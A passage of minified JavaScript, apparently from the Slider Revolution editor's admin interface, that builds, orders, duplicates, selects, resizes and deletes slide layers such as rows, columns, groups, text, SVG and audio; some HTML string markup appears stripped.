._lc_extra_bg")),null===RVS.H[e.uid].w[0].querySelector("._lc_group_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_group_placeholder",icon:{c:"format_shapes"}})),null===RVS.H[e.uid].w[0].querySelector("._group_lock_")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_group_lock_",icon:{c:"layers"}})),null===RVS.H[e.uid].w[0].querySelector("._group_head_")&&(RVS.H[e.uid].w.append('
    '+t.alias+'
    layers_clearlayers
    '),RVS.H[e.uid].gpH=RVS.H[e.uid].w[0].getElementsByClassName("_group_head_")[0],RVS.H[e.uid].gpHT=RVS.H[e.uid].w[0].getElementsByClassName("_group_head_title_")[0]);break;case"row":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg"));break;case"column":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].bgmask=RVS.F.cE({cN:"_lc_extra_bg_wrap"}),RVS.H[e.uid].bgmask.appendChild(RVS.H[e.uid].bg),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bgmask)):(RVS.H[e.uid].bgmask=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap"),RVS.H[e.uid].bg=RVS.H[e.uid].bgmask.querySelector(":scope > ._lc_extra_bg")));break;case"shape":null===RVS.H[e.uid].w[0].querySelector("._lc_stream_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_stream_placeholder",icon:{c:"cast"}})),t.idle.bgFromStream&&RVS.H[e.uid].c[0].classList.add("placeholder_on")}t.linebreak&&RVS.H[e.uid].w[0].classList.add("rs-linebreak")}void 0===RVS.S.initDragAndResizeonHTMLLayers&&(RVS.S.initDragAndResizeonHTMLLayers=!0,RVS.C.UL[0].addEventListener("mouseenter",function(e){if(e.target&&e.target.classList&&e.target.classList.contains("_lc_")){var t=e.target;if(RVS.F.updateGroupHeader({uid:t.dataset.uid,delay:.1}),void 0===t.dataset.dragandresize&&(t.dataset.dragandresize=!0,"column"!==t.dataset.type&&"row"!==t.dataset.type&&RVS.F.doDraggable({uid:t.dataset.uid,drag:!0,resize:!0}),jQuery.inArray(t.dataset.type,["text","button","svg","shape","group"])>=0&&(void 0===RVS.H[t.dataset.uid].sclr||null===RVS.H[t.dataset.uid].w[0].querySelector(":scope >._lc_reScaler")))){var i=RVS.F.cE({cN:"_lc_reScaler"}),a=RVS.F.cE({cN:"_lc_reScaler_pin"}),s=RVS.F.cE({cN:"_lc_reScaler_icon"});i.appendChild(a),i.appendChild(s),RVS.H[t.dataset.uid].w[0].appendChild(i),RVS.H[t.dataset.uid].sclr=jQuery(a),r(RVS.H[t.dataset.uid].sclr)}}},!0),RVS.DOC.on("mouseleave","._lc_",function(){RVS.F.updateGroupHeader({uid:this.dataset.pid})})),"text"===t.type||"button"==t.type?(RVS.F.redrawTextLayerInnerHTML(e.uid),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})):"svg"===t.type?void 0===t.svg.renderedData||void 0!==t.svg.source&&t.svg.source.length>4?jQuery.get(t.svg.source,function(i){RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData=(new XMLSerializer).serializeToString(i.documentElement),RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.drawHTMLLayer({uid:e.uid})}):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid}):"image"===t.type&&void 0!==t.media.imageUrl&&null!==t.media.imageUrl&&t.media.imageUrl.length>0&&void 0!==t.media&&!0!==t.media.loaded?(tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"hidden"}),RVS.F.preloadImage({uid:e.uid,slideId:RVS.S.slideId,image:t.media.imageUrl,silent:!1,callback:function(){tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"visible"}),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})}})):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})},RVS.F.updateGroupHeader=function(e){let t=RVS.F.getTopParent({layer:e.uid}),i="",a=0;-1==t&&-1==e.uid&&null==e.delay&&void 0!==RVS.L[RVS.S.lastHoveredLayer]&&"group"==RVS.L[RVS.S.lastHoveredLayer].type&&RVS.H[RVS.S.lastHoveredLayer].w[0].classList.contains("hasSelectedChild")&&("multiple"===RVS.H[RVS.S.lastHoveredLayer].w[0].dataset.selectedchild?i="multiple":(t=RVS.S.lastHoveredLayer,e.uid=RVS.H[RVS.S.lastHoveredLayer].w[0].dataset.selectedchild)),e.delay=null==e.delay?0:e.delay,"multiple"===i?(t=RVS.S.lastHoveredLayer,a=1):void 0!==t&&void 0!==RVS.L[t]&&"group"==RVS.L[t].type&&void 0!==RVS.H[t]&&void 0!==RVS.L[e.uid]?(a+=(t!=RVS.L[e.uid].group.puid?1:0)+(t!=e.uid?1:0),i=RVS.L[t].alias+(t!=RVS.L[e.uid].group.puid?" / "+RVS.L[RVS.L[e.uid].group.puid].alias:"")+(t!=e.uid?" / "+RVS.L[e.uid].alias:"")):void 0!==RVS.L[e.uid]&&"group"==RVS.L[e.uid].type&&(t=e.uid,i=RVS.L[e.uid].alias),""!==i&&(e.delay>0&&clearTimeout(RVS.S.updateHeaderTextTimer),RVS.S.updateHeaderTextTimer=setTimeout(function(){requestAnimationFrame(function(){RVS.F.checkAndWriteGroupHeader({gid:t,t:i,level:a})})},e.delay)),RVS.S.lastHoveredLayer=e.uid},RVS.F.checkAndWriteGroupHeader=function(e){"multiple"===e.t?e.t=RVS_LANG.multiplechildrensel:(e.level>0&&6.5*e.t.length>RVS.H[e.gid].gpH.offsetWidth&&(e.t=".."+e.t.substr(e.t.indexOf(" / ")),e.level>1&&6.5*e.t.length>RVS.H[e.gid].gpH.offsetWidth&&(e.t=".. / .. "+e.t.substr(e.t.lastIndexOf(" / ")))),e.level>0&&(e.t=''+e.t,e.t=e.t.substr(0,e.t.lastIndexOf(" / "))+""+e.t.substr(e.t.lastIndexOf(" / ")))),RVS.H[e.gid].gpHT.innerHTML=e.t},RVS.F.reOrderHTMLLayer=function(e){if(null!=RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w){var t=RVS.L[e.uid],i=RVS.H[e.uid].w,r=RVS.H[e.uid].last_puid===t.group.puid&&RVS.H[e.uid].last_groupOrder===t.group.groupOrder;RVS.H[e.uid].last_puid=t.group.puid,RVS.H[e.uid].last_groupOrder=t.group.groupOrder,-1===t.group.puid||"row"===t.type?"row"==t.type?a({container:RVS.C.rZone[t.group.puid],layer:i[0],uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(i[0]):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_type_column"}):a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_"}),r||RVS.S.redrawHTMLLayersList.push(e.uid)}},RVS.F.checkRowsChildren=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&("row"==RVS.L[e].type||"group"==RVS.L[e].type)){var t=RVS.F.getLayerChildren({layerid:e}),i=0;for(var a in t)"column"!==t[a].type&&i++;i>0?RVS.H[e].w.removeClass("nocontent"):RVS.H[e].w.addClass("nocontent")}},RVS.F.addLayerToLayers=function(e){var t;return RVS.S.pastedLayerNewToOld=null==RVS.S.pastedLayerNewToOld?{}:RVS.S.pastedLayerNewToOld,RVS.S.pastedLayerOldToNew=null==RVS.S.pastedLayerOldToNew?{}:RVS.S.pastedLayerOldToNew,void 0!==e.layerobject?((t=jQuery.extend(!0,{},e.layerobject)).uid="copy"===e.copyPaste?"copy"+window.copyPasteLayers.amount:RVS.F.getUniqueid(),RVS.S.pastedLayerNewToOld[t.uid]=void 0!==e.layerobject.copiedFromUid?e.layerobject.copiedFromUid:e.layerobject.uid,RVS.S.pastedLayerOldToNew[void 0!==e.layerobject.copiedFromUid?e.layerobject.copiedFromUid:e.layerobject.uid]=t.uid,(t=RVS.F.addLayerObj(t)).alias=void 0!==e.prefix?e.prefix+" "+t.alias.replace(/Copy/g,""):(1==RVS.S.ignoreCopyPrefix?"":"Copy ")+t.alias.replace(/Copy/g,"")):t=RVS.F.addLayerObj(e.type),e.extension&&(t=jQuery.extend(!0,t,e.extension)),e.subsubtype&&e.subextension&&(t=jQuery.extend(!0,t,e.subextension)),t.group.puid=void 0!==e.puid?e.puid:t.group.puid,e.newGroupOrder&&"copy"!==e.copyPaste&&(t.group.groupOrder=function(e){e.type=void 0===e.type?"column":e.type;var t=RVS.F.getColumnsInRow({layerid:e.uid,type:e.type}),i=0;for(var a in t)t.hasOwnProperty(a)&&(i=parseInt(i,0)<=parseInt(RVS.L[t[a]].group.groupOrder,0)?parseInt(RVS.L[t[a]].group.groupOrder,0)+1:i);return i}({uid:t.group.puid,type:t.type})),t.alias=void 0!==e.extension&&void 0!==e.extension.alias?e.extension.alias+"-"+t.uid:void 0!==e.alias?e.alias+"-"+t.uid:t.alias,"copy"===e.copyPaste?(window.copyPasteLayersSlideId=RVS.S.slideId,window.copyPasteLayers.amount++,t.copiedFromUid=e.layerobject.uid,window.copyPasteLayers.layers[t.uid]=t):(void 0!==e.layerobject&&RVS.F.duplicateSkinColors({type:"layer",layerFrom:void 0!==e.layerobject.copiedFromUid?e.layerobject.copiedFromUid:e.layerobject.uid,layerTo:t.uid,slideFrom:window.copyPasteLayersSlideId,slideTo:RVS.S.slideId}),delete t.copiedFromUid,RVS.SLIDER[RVS.S.slideId].layers[t.uid]=t,RVS.F.backup({path:t.uid,icon:"layers",txt:"Create New Layer",lastkey:"newlayer",force:!0,slideid:RVS.S.slideId,val:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[t.uid],old:{},backupType:"layer",bckpGrType:"addlayer"})),e.buildHTMLLayer&&"copy"!==e.copyPaste&&RVS.F.buildHTMLLayer({uid:t.uid}),t.uid},RVS.F.extendLayerTypes=function(e){if(RVS.S.extendedLayerTypes=void 0===RVS.S.extendedLayerTypes?{}:RVS.S.extendedLayerTypes,void 0===RVS.S.extendedLayerTypes[e.subtype]){var t;if(e.extension.subtype=e.subtype,RVS.S.extendedLayerTypes[e.subtype]={type:e.type,subtype:e.subtype,extension:e.extension,subextension:e.subextension},e.subdrop){if(t='
    ',e.objLibInMainMenu?t+='
    '+e.icon+""+e.alias+"
    ":t+='
    '+e.icon+""+e.alias+"
    ",t+='
    ',e.objectlibrary&&(t+='
    styleObject Library
    '),e.emptyplaceholder&&(t+='
    flip_to_backEmpty Placeholder
    '),e.subList)for(var i in e.subList)e.subList.hasOwnProperty(i)&&(t+='
    '+e.subList[i].icon+""+e.subList[i].name+"
    ");t+="
    ",t+="
    "}else t='
    '+e.icon+""+e.alias+"
    ";jQuery(t).insertAfter("#toolbar_add_layer_group")}},RVS.F.addLayer=function(e,t){RVS.DOC.trigger("changeToLayerMode"),e.ignoreBackupGroup||t||RVS.F.openBackupGroup({id:"addLayer",txt:"Create New "+e.type+" Layer",icon:"layers",lastkey:"layer"});var i,a,r,s,o,n,l,d,S="paste"===e.copyPaste?window.copyPasteLayers.layers:RVS.L;switch(e.type){case"row":if(void 0===e.duplicateId){i=a=RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!0});for(var c=0;c<3;c++)RVS.F.addLayerToLayers({type:"column",puid:i,alias:"column",buildHTMLLayer:!0})}else{i=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0});var p=RVS.F.getColumnsInRow({layerid:e.duplicateId,copyPaste:e.copyPaste});for(var u in p)if(p.hasOwnProperty(u)){var R=RVS.F.addLayerToLayers({puid:i,layerobject:S[p[u]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),V=RVS.F.getLayersFirstDepth({layerid:p[u],copyPaste:e.copyPaste});for(o in V)if(V.hasOwnProperty(o)&&(d=RVS.F.addLayerToLayers({puid:R,layerobject:S[V[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),"group"==S[V[o]].type))for(n in s=RVS.F.getLayersFirstDepth({layerid:V[o],copyPaste:e.copyPaste}))s.hasOwnProperty(n)&&RVS.F.addLayerToLayers({puid:d,layerobject:S[s[n]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix})}}break;case"column":var m;if(void 0===e.duplicateId)a=RVS.F.addLayerToLayers({type:"column",puid:e.puid,alias:"column",buildHTMLLayer:!0});else for(o in m=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],newGroupOrder:!0,buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),r=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))r.hasOwnProperty(o)&&RVS.F.addLayerToLayers({puid:m,layerobject:S[r[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"group":if(void 0===e.duplicateId)a=RVS.F.addLayerToLayers({type:"group",alias:"group",buildHTMLLayer:!0});else for(o in l=a=RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:!0}),r=RVS.F.getLayersFirstDepth({layerid:e.duplicateId,copyPaste:e.copyPaste}))if(r.hasOwnProperty(o)&&(d=RVS.F.addLayerToLayers({puid:l,layerobject:S[r[o]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix}),"group"==S[r[o]].type))for(n in s=RVS.F.getLayersFirstDepth({layerid:r[o],copyPaste:e.copyPaste}))s.hasOwnProperty(n)&&RVS.F.addLayerToLayers({puid:d,layerobject:S[s[n]],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix});break;case"linebreak":a=RVS.F.addLayerToLayers({type:"shape",alias:"linebreak",buildHTMLLayer:!0,extension:{size:{width:{d:{v:"100%"},n:{v:"100%"},t:{v:"100%"},m:{v:"100%"}},height:{d:{v:"10px"},n:{v:"10px"},t:{v:"10px"},m:{v:"10px"}}},idle:{backgroundColor:"transparent",clear:{d:{v:"both"},n:{v:"both"},t:{v:"both"},m:{v:"both"}}},position:{position:"relative"},linebreak:!0}});break;default:switch(a="predefined"===e.subtype?RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0,extension:e.extension}):void 0===e.duplicateId?void 0!==RVS.S.extendedLayerTypes&&void 0!==RVS.S.extendedLayerTypes[e.subtype]||void 0!==RVS.S.extendedLayerTypes&&void 0!==e.extensiongroup&&void 0!==RVS.S.extendedLayerTypes[e.extensiongroup]?void 0!==e.extensiongroup?RVS.F.addLayerToLayers({type:e.type,alias:e.type,subsubtype:e.subsubtype,subextension:null!=RVS.S.extendedLayerTypes[e.subtype]&&void 0!==RVS.S.extendedLayerTypes[e.subtype].subextension?RVS.S.extendedLayerTypes[e.subtype].subextension[e.subsubtype]:void 0,extension:RVS.S.extendedLayerTypes[e.extensiongroup].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,subsubtype:e.subsubtype,subextension:null!=RVS.S.extendedLayerTypes[e.subtype]&&void 0!==RVS.S.extendedLayerTypes[e.subtype].subextension?RVS.S.extendedLayerTypes[e.subtype].subextension[e.subsubtype]:void 0,extension:RVS.S.extendedLayerTypes[e.subtype].extension,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({type:e.type,alias:e.type,buildHTMLLayer:!0}):RVS.F.addLayerToLayers({layerobject:S[e.duplicateId],buildHTMLLayer:!0,copyPaste:e.copyPaste,prefix:e.prefix,newGroupOrder:-1!==S[e.duplicateId].group.puid}),e.subtype){case"wordpress_library":"image"===e.type?jQuery("#image_layer_media_library_button").trigger("click"):"video"===e.type&&jQuery("#video_layer_media_library_button").trigger("click");break;case"object_library":if("object"===e.type)RVS.F.openObjectLibrary({types:["fonticons","svgs","svgcustom"],filter:"all",selected:["fonticons"],success:{icon:"insertContentFromOL"}});else if("image"===e.type)jQuery("#image_layer_object_library_button").trigger("click");else if("video"===e.type)jQuery("#video_layer_object_library_button").trigger("click");else if(void 0!==e.libfilters){var y=e.libfilters.split(",");RVS.F.openObjectLibrary({types:y,filter:"undefined"==e.filter||null==e.filter?"all":e.filter,selected:["undefined"==e.selected||null==e.selected?y[0]:e.selected],success:{custom:e.libevent},extension:e.extensiongroup})}break;case"headline":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["headlines","content"]});break;case"simple_content":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["content","headlines"]});break;case"button":e.ignoreBackupGroup=!0,RVS.F.openQuickStyle({bacupGroupOpen:"addLayer",list:["button"]});break;case"predefined":break;default:e.ignoreBackupGroup=void 0!==RVS.F.subOpenQuickStyle&&void 0!==RVS.F.subOpenQuickStyle[e.subtype]&&RVS.F.subOpenQuickStyle[e.subtype](e.subsubtype)}}return e.ignoreBackupGroup||t||RVS.F.closeBackupGroup({id:"addLayer"}),e.ignoreLayerList||RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),e.ignoreOrderHTMLLayers||RVS.F.reOrderHTMLLayers(),void 0!==RVS.eMode&&"layer"===RVS.eMode.top&&"animation"===RVS.eMode.mode&&RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_style",!0),RVS.DOC.trigger("layerAdded",{layerid:a,params:e}),a},RVS.F.deleteLayerSingle=function(e){RVS.F.backup({path:e.layerid,icon:"layers",txt:"Remove Layer",lastkey:"removelayer",force:!0,slideid:RVS.S.slideId,val:{},old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[e.layerid],backupType:"layer",bckpGrType:"removelayer"}),delete RVS.SLIDER[RVS.S.slideId].layers[e.layerid],delete RVS.H[e.layerid],RVS.F.updateTriggeringActionRelations(e.layerid),jQuery("#_lc_"+RVS.S.slideId+"_"+e.layerid+"_").remove()},RVS.F.deleteLayerfromLayers=function(e,t){if(void 0!==RVS.L[e.layerid]){if(!t){RVS.DOC.trigger("changeToLayerMode");var i=!1;void 0!==e.groupisopen||RVS.S.bckpGrp||(RVS.S.bckpGrp||(i=!0),RVS.F.openBackupGroup({id:"removeLayer",txt:"Remove "+RVS.L[e.layerid].type+" Layer",icon:"delete",lastkey:"layer"}))}if("row"==RVS.L[e.layerid].type||"column"==RVS.L[e.layerid].type||"group"==RVS.L[e.layerid].type){var a=RVS.F.getLayersFirstDepth({layerid:e.layerid});for(var r in a)a.hasOwnProperty(r)&&(void 0===e.newpuid||t?RVS.F.deleteLayerfromLayers({layerid:a[r]},!0):(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+a[r]+".group.puid",val:e.newpuid}),void 0!==RVS.H[a[r]]&&void 0!==RVS.H[a[r]].w&&(delete RVS.H[a[r]].w[0].dataset.dragandresize,void 0!==RVS.H[a[r]].sclr&&null!==RVS.H[a[r]].sclr&&(RVS.H[a[r]].sclr.remove(),RVS.H[a[r]].sclr=void 0))))}RVS.F.deleteLayerSingle(e),t||i&&(RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0}))}},RVS.F.updateSelectedHtmlLayers=function(e,t){requestAnimationFrame(function(){let i=document.querySelectorAll(".hasSelectedChild");for(var a in i.forEach(e=>{e.classList.remove("hasSelectedChild"),delete e.dataset.selectedchild}),RVS.L)if(RVS.L.hasOwnProperty(a)&&"top"!==a&&"bottom"!==a&&"middle"!==a)if(!e&&RVS.F.inSelectedLayers({id:a})&&void 0!==RVS.H[a]){RVS.H[a].w[0].classList.add("selected"),RVS.H[a].selected=!0;var r=RVS.F.getTopParent({layer:a});-1!==r&&"group"==RVS.L[r].type&&(RVS.H[r].w[0].classList.add("hasSelectedChild"),r!=RVS.L[a].group.puid&&RVS.H[RVS.L[a].group.puid].w[0].classList.add("hasSelectedChild"),RVS.H[r].w[0].dataset.selectedchild=void 0===RVS.H[r].w[0].dataset.selectedchild?a:"multiple"),RVS.F.setZindex({id:a,o:475})}else void 0!==RVS.H[a]&&(!0!==t&&(RVS.H[a].w[0].classList.remove("selected"),RVS.H[a].selected=!1),RVS.F.setZindex({id:a}))})},RVS.F.updateStaticStartEndList=function(){window.staticLayerStartIndex=void 0===window.staticLayerStartIndex?jQuery("#staticlayer_Startindex"):window.staticLayerStartIndex,window.staticLayerEndIndex=void 0===window.staticLayerEndIndex?jQuery("#staticlayer_Endindex"):window.staticLayerEndIndex,RVS.F.removeAllOptionsS2({select:window.staticLayerStartIndex}),RVS.F.removeAllOptionsS2({select:window.staticLayerEndIndex});for(var e=1;e1?i+" multiple_layers_selected":i,RVS.C.the_cont[0].className=i},RVS.F.doResizeLayers=function(e){if(!(RVS.selLayers.length>1||0===RVS.selLayers.length))switch(e.mode){case"init":if(window.RSCBS={},window.RSCBS[RVS.selLayers[0]]=o(RVS.L[RVS.selLayers[0]]),"group"===RVS.L[RVS.selLayers[0]].type||"auto"!==window.RSCBS[RVS.selLayers[0]].width||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||("full"!==window.RSCBS[RVS.selLayers[0]].wrap&&"normal"!==window.RSCBS[RVS.selLayers[0]].wrap||(RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v="content"),window.RSCBS[RVS.selLayers[0]].CacheWidth=window.RSCBS[RVS.selLayers[0]].width,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].width?RVS.H[RVS.selLayers[0]].w.width():window.RSCBS[RVS.selLayers[0]].width),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers=RVS.F.getLayersFirstDepth({layerid:RVS.selLayers[0]}),window.RSCBS.layers)window.RSCBS[window.RSCBS.layers[t]]=o(RVS.L[window.RSCBS.layers[t]]);break;case"update":if(l({layerid:RVS.selLayers[0],size:e.size}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0});break;case"set":var i=!1;if("group"!==RVS.L[RVS.selLayers[0]].type&&-1===RVS.L[RVS.selLayers[0]].group.puid&&("text"===RVS.L[RVS.selLayers[0]].type||"button"===RVS.L[RVS.selLayers[0]].type)&&RVS.S.layer_grid_offset.left+RVS.S.lgw>RVS.H[RVS.selLayers[0]].w.offset().left+RVS.H[RVS.selLayers[0]].w.width()&&(i=!0,window.RSCBS[RVS.selLayers[0]].width="auto"===window.RSCBS[RVS.selLayers[0]].CacheWidth?"auto":window.RSCBS[RVS.selLayers[0]].width),l({layerid:RVS.selLayers[0],size:1}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)l({layerid:window.RSCBS.layers[t],size:1});if(RVS.F.openBackupGroup({id:"layerScaling",txt:"Layer Scaling",icon:"layers",lastkey:"layer"}),n({layerid:RVS.selLayers[0],size:e.size,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1}),!0===i?RVS.L[RVS.selLayers[0]].idle.whiteSpace[RVS.screen].v=window.RSCBS[RVS.selLayers[0]].wrap:"group"===RVS.L[RVS.selLayers[0]].type||-1!==RVS.L[RVS.selLayers[0]].group.puid||"text"!==RVS.L[RVS.selLayers[0]].type&&"button"!==RVS.L[RVS.selLayers[0]].type||window.RSCBS[RVS.selLayers[0]].width===window.RSCBS[RVS.selLayers[0]].CacheWidth||"auto"!=window.RSCBS[RVS.selLayers[0]].CacheWidth||RVS.F.showInfo({content:RVS_LANG.layerbleedsout,type:"info",showdelay:0,hidedelay:8,hideon:"",event:""}),"group"===RVS.L[RVS.selLayers[0]].type)for(var t in window.RSCBS.layers)n({layerid:window.RSCBS.layers[t],size:e.size,ingroup:!0,ignore:!1,redraw:!0,updatefields:!0,ignoreBackup:!1});RVS.F.closeBackupGroup({id:"layerScaling"})}},RVS.F.selectLayers=function(e){RVS.S.justresized||(e=void 0===e?{}:e,"animation"!==RVS.eMode.mode?RVS.S.keyFrame="idle":!0===e.keepSelectedFrame&&void 0!==RVS.S.keyFrame||(e.selectedKeyFrame=void 0===e.selectedKeyFrame?"idle":e.selectedKeyFrame,RVS.S.keyFrame=e.selectedKeyFrame),void 0===e||"add"!==e.action||void 0===e.id||!RVS.L[e.id].visibility||!RVS.L[e.id].visibility.locked&&RVS.L[e.id].visibility.visible||(e.action="remove"),e.ignoreModeChange||"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu||(RVS.F.mainMode({set:!1,ignoreReDraw:!0,mode:"slidelayout"}),RVS.F.showHideLayerEditor({mode:"slidecontent",openSettings:!1})),e.overwrite?(RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],void 0,!0),RVS.selLayers=[]):RVS.selLayers.length>0&&!e.quickmode&&"layer"===RVS.eMode.top&&"#form_layer_animation"===RVS.eMode.menu&&RVS.F.showInfo({content:RVS_LANG.noMultipleSelectionOfLayers,type:"info",showdelay:.2,hidedelay:2,hideon:"",event:""}),e.id="top"===e.id||"bottom"===e.id||"middle"===e.id?"ignore":void 0===e.id?e.id:parseInt(e.id,0),void 0!==e.id&&"ignore"!==e.id&&("add"===e.action&&-1==jQuery.inArray(e.id,RVS.selLayers)?RVS.selLayers.push(e.id):"remove"===e.action&&-1!==jQuery.inArray(e.id,RVS.selLayers)&&RVS.selLayers.splice(jQuery.inArray(e.id,RVS.selLayers),1)),!0===e.ignoreUpdate||e.quickmode||("onlyhtml"!==e.ignoreUpdate&&RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),"animation"!==RVS.eMode.mode&&RVS.F.updateAllLayerToIDLE(),RVS.F.updateSelectedLayersIdleHover(),RVS.C.toggledTextButton.className.indexOf("selected")>=0&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0])),!0===e.ignoreFieldUpdates||e.quickmode?e.quickmode?RVS.F.updateSelectedHtmlLayers():window.qstyle_library_open&&RVS.F.updateAvailableLayerTypes():(RVS.F.updateLayerInputFields({short:!0}),RVS.C.slit.textContent=1===RVS.selLayers.length?RVS.F.getLayerIcon(RVS.L[RVS.selLayers[0]].linebreak?"linebreak":RVS.L[RVS.selLayers[0]].type,RVS.L[RVS.selLayers[0]].subtype):"layers",RVS.DOC.trigger("selectLayersDone"),RVS.F.checkForAudioLayer()),void 0!==e.selectedKeyFrame?(RVS.TL.cache.main=(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"selectLayers"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})):e.quickmode||0!==RVS.selLayers.length||jQuery("framewrap.selected").removeClass("selected"),!e.quickmode&&RVS.S.shwLayerAnim&&RVS.DOC.trigger("previewLayerAnimation"),RVS.F.manageShapeContentShow(),void 0!==RVS.selLayers[0]&&"label"==RVS.L[RVS.selLayers[0]].htmltag&&(RVS.C.jLBLFor=null==RVS.C.jLBLFor?jQuery("#label_for_target"):RVS.C.jLBLFor,RVS.F.upadteLayerTargetDropDowns({select:RVS.C.jLBLFor,targetid:RVS.L[RVS.selLayers[0]].labelfor,ignorestatic:!0})))},RVS.DOC.on("updateLabelFor",function(e,t){void 0!==t&&"label"===t.val&&(RVS.C.jLBLFor=null==RVS.C.jLBLFor?jQuery("#label_for_target"):RVS.C.jLBLFor,RVS.F.upadteLayerTargetDropDowns({select:RVS.C.jLBLFor,targetid:RVS.L[RVS.selLayers[0]].labelfor,ignorestatic:!0}))}),RVS.F.convertTimeToSec=function(e,t){e=""===e?parseFloat(t):e;var i=!RVS.F.isNumeric(e)&&e.indexOf(":")>=0,a=0;return e=i?e.split(":"):e,null==(a=i&&e.length>1?60*parseFloat(e[0])+parseFloat(e[1]):i?parseFloat(e[0]):e)?0:a},RVS.F.updateAudioTimes=function(e){if(1==RVS.selLayers.length&&"audio"===RVS.L[RVS.selLayers[0]].type){RVS.L[RVS.selLayers[0]].media.startAt=""===RVS.L[RVS.selLayers[0]].media.startAt?0:RVS.L[RVS.selLayers[0]].media.startAt,RVS.L[RVS.selLayers[0]].media.endAt=""===RVS.L[RVS.selLayers[0]].media.endAt?e:RVS.L[RVS.selLayers[0]].media.endAt,RVS.L[RVS.selLayers[0]].media.endAt=RVS.L[RVS.selLayers[0]].media.endAt>e?e:RVS.L[RVS.selLayers[0]].media.endAt,document.getElementById("layer_video_start").value=RVS.L[RVS.selLayers[0]].media.startAt,document.getElementById("layer_video_end").value=RVS.L[RVS.selLayers[0]].media.endAt;var 